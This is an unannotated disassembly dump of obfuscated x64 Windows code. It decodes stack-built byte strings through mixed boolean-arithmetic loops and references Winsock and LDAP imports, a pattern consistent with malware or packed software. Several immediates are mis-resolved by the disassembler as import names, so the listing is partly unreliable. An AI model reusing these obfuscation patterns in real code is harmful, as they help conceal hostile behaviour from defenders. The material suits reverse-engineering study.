add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140157e0d
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401579c5
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140157f3d
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140157c71
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x140157f19
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140157c9c
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x140157e0d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140157cb9
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x140157bd1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140157ce5
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x140157ea6
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140157a01
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6e
jmp 0x140158038
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140157d40
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140158038
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140157d6b
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x30
jmp 0x140157f8b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140157d9a
movabs rdx, 0x6a16f29ce7463048
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140157e37
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140157db7
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140157f51
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140157962
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x140157f3d
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x700]
sub bl, al
sub bl, 0x50
add bl, dl
add bl, r8b
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0x700], cl
add rdi, r10
jmp 0x140157ea6
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x700]
add bl, dl
add bl, r8b
jmp 0x140157f8b
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140157e60
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140158047
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x140157f63
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x140157f19
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x700], cl
add r10, r15
jmp 0x140157f63
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r9, r15
jmp 0x140158047
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x700], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x140157fe5
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x700], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140158038
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x700]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401574d6
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401574d3
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401574c3
lea rdx, [rbp + 0x15982a8]
jmp 0x1401580b4
lea rdx, [rbp + 0x16dc066]
jmp 0x1401580b4
lea rdx, [rbp + 0x700]
lea rcx, [rbp + 0x158]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2850]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401580e9
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2850]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2850]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2850]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0xe50], 0xe3
mov byte [rbp + 0xe51], 0xad
mov byte [rbp + 0xe52], 0xec
mov byte [rbp + 0xe53], 0xab
mov byte [rbp + 0xe54], recv
mov byte [rbp + 0xe55], 0xa9
mov byte [rbp + 0xe56], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xe57], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xe58], 0x3d
mov byte [rbp + 0xe59], __WSAFDIsSet
mov byte [rbp + 0xe5a], r13b
mov byte [rbp + 0xe5b], __WSAFDIsSet
mov byte [rbp + 0xe5c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe5d], __WSAFDIsSet
mov byte [rbp + 0xe5e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xe5f], 0x9f
mov byte [rbp + 0xe60], 7
mov byte [rbp + 0xe61], 0x9d
mov byte [rbp + 0xe62], 5
mov byte [rbp + 0xe63], 0x9b
mov byte [rbp + 0xe64], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xe65], 0x99
mov byte [rbp + 0xe66], Ordinal_46
mov byte [rbp + 0xe67], 0x87
mov byte [rbp + 0xe68], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xe69], 0x85
mov byte [rbp + 0xe6a], Ordinal_217
mov byte [rbp + 0xe6b], 0x83
mov byte [rbp + 0xe6c], 0x3d
mov byte [rbp + 0xe6d], 0x81
mov byte [rbp + 0xe6e], Ordinal_50
mov byte [rbp + 0xe6f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xe70], Ordinal_46
mov byte [rbp + 0xe71], Ordinal_143
mov byte [rbp + 0xe72], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xe73], Ordinal_143
mov byte [rbp + 0xe74], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xe75], Ordinal_143
mov byte [rbp + 0xe76], 0x64
mov byte [rbp + 0xe77], 0xf7
mov byte [rbp + 0xe78], 0x5c
mov byte [rbp + 0xe79], 0xf5
mov byte [rbp + 0xe7a], 0x62
mov byte [rbp + 0xe7b], 0xf3
mov byte [rbp + 0xe7c], 0xaa
mov byte [rbp + 0xe7d], 0xf1
mov byte [rbp + 0xe7e], 0xa2
mov byte [rbp + 0xe7f], 0xff
mov byte [rbp + 0xe80], 0xae
mov byte [rbp + 0xe81], 0xfd
mov byte [rbp + 0xe82], 0x57
mov byte [rbp + 0xe83], 0xfb
mov byte [rbp + 0xe84], 0x60
mov byte [rbp + 0xe85], 0xf9
mov byte [rbp + 0xe86], Ordinal_79
mov byte [rbp + 0xe87], 0xe7
mov byte [rbp + 0xe88], 0xb6
mov byte [rbp + 0xe89], 0xe5
mov byte [rbp + 0xe8a], 0x77
mov byte [rbp + 0xe8b], 0xe3
mov byte [rbp + 0xe8c], 0x7d
mov byte [rbp + 0xe8d], 0xe1
mov byte [rbp + 0xe8e], 0x47
mov byte [rbp + 0xe8f], 0xef
mov byte [rbp + 0xe90], 0xec
mov byte [rbp + 0xe91], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe92], xmm0
mov qword [rbp + 0xea2], rax
mov byte [rbp + 0xeaa], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x140158ec3
movzx r8d, byte [rbp + r9 + 0xe50]
mov r11, r8
cmp rdi, r9
ja 0x140158eba
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14015836b
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x1401583a5
je 0x140158e33
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140158da7
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140158d72
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140158d29
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140158d01
cmp r10, r9
ja 0x140158eb1
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x1401583cb
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401585b2
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140158cbb
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140158c9c
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140158c79
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140158c56
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140158927
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140158906
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401588f2
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401588cf
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401588ad
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140158899
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140158876
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140158862
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140158841
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14015882d
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14015840c
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140158e8e
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x140158e68
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x1401585ec
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x1401585c9
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x1401585a3
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401587d3
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140158778
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14015872c
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140158709
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x1401586e7
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401586c1
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14015869e
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14015868a
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140158669
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140158655
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140158633
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140158612
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14015840c
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x14015840c
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401583ff
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x1401583a5
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158334
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x140158cd7
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140158d1e
movabs rdx, 0x47b3eaf1fe0c9ca8
mov ecx, 0x34
jmp 0x140158a85
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2c
jmp 0x1401589d8
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140158d81
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x140158d96
movabs rdx, 0x762804f2acf943d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158dcb
movabs rcx, 0x81c50b72d8b46da4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x140158dfd
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x140158e51
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
cmp r10, 0x41
jb 0x140158bf1
movabs rcx, 0xafb7b47749b6ac5c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea ebx, [rcx*2 - 8]
jmp 0x140158cd9
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x140158bfe
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x140158b23
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x140158749
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x140158c2c
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x140158a3e
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x140158799
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x14015896e
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x140158c72
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x140158999
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x140158d96
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x140158d81
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140158d46
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x140158d21
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x140158a27
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x140158cd7
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x140158956
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401587f0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140158985
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158e51
cmp rdi, rcx
jne 0x1401589b0
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158dcb
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401589df
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158d46
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140158a0b
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x140158d21
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401587f0
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158d1e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140158a6d
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158cd9
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140158a9c
movabs rdx, 0x7af3a63a470207ce
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140158d21
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140158ac8
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x140158d93
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140158af3
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x140158dcb
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140158799
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2a
jmp 0x140158e51
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140158b40
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x14015896e
cmp rdi, rcx
jne 0x140158b67
movabs rcx, 0xc9fe878a78ffabc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x140158dfd
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140158b93
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140158d93
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140158bc2
movabs rdx, 0xc6f1c177a12cfff4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140158d1e
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140158749
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x140158cd9
mov byte [rbp + r9 + 0xe50], bl
jmp 0x140158e60
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xe50]
add bl, dl
add bl, r8b
jmp 0x140158d46
movabs rcx, 0x987da776f24058c4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0xe50]
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x140158dcb
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x140158dfd
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x140158d96
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x140158d21
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x3a
add r8b, cl
mov byte [rbp + r9 + 0xe50], r8b
jmp 0x140158d1e
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
add r10, r15
sub r9, r15
jmp 0x140158e60
movabs rcx, 0xb48355bee3bf7052
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0xe50], cl
jmp 0x140158d93
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140158e60
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movabs rdx, 0x92af2436dc62c3de
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x12
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xe50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xe50], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140158e51
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub r11b, al
lea ebx, [rcx + r11]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xe50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140158321
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015831e
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x22
jmp 0x14015830e
lea rdx, [rbp + 0x16003c8]
jmp 0x140158eca
lea rdx, [rbp + 0x1026ee2]
jmp 0x140158eca
lea rdx, [rbp + 0xe50]
lea rcx, [rbp + 0x178]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2960]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140158eff
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2960]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x2960]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x2960]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x550], Ordinal_60
mov byte [rbp + 0x551], Ordinal_143
mov byte [rbp + 0x552], 0x61
mov byte [rbp + 0x553], 0xf3
mov byte [rbp + 0x554], 0x5a
mov byte [rbp + 0x555], 0xf1
mov byte [rbp + 0x556], 0x62
mov byte [rbp + 0x557], 0xf7
mov byte [rbp + 0x558], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x559], 0xf5
mov byte [rbp + 0x55a], 0x5b
mov byte [rbp + 0x55b], 0xfb
mov byte [rbp + 0x55c], WSACleanup
mov byte [rbp + 0x55d], 0xf9
mov byte [rbp + 0x55e], 0x5b
mov byte [rbp + 0x55f], 0xff
mov byte [rbp + 0x560], r14b
mov byte [rbp + 0x561], 0xfd
mov byte [rbp + 0x562], 0x59
mov byte [rbp + 0x563], 0xe3
mov byte [rbp + 0x564], Ordinal_79
mov byte [rbp + 0x565], 0xe1
mov byte [rbp + 0x566], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x567], 0xe7
mov byte [rbp + 0x568], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x569], 0xe5
mov byte [rbp + 0x56a], 0x7f
mov byte [rbp + 0x56b], 0xeb
mov byte [rbp + 0x56c], 0x7a
mov byte [rbp + 0x56d], 0xe9
mov byte [rbp + 0x56e], Ordinal_79
mov byte [rbp + 0x56f], 0xef
mov byte [rbp + 0x570], 0x7a
mov byte [rbp + 0x571], 0xed
mov byte [rbp + 0x572], 0x88
mov byte [rbp + 0x573], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x574], 0x84
mov byte [rbp + 0x575], Ordinal_211
mov byte [rbp + 0x576], Ordinal_217
mov byte [rbp + 0x577], Ordinal_217
xor eax, eax
mov qword [rbp + 0x578], rax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
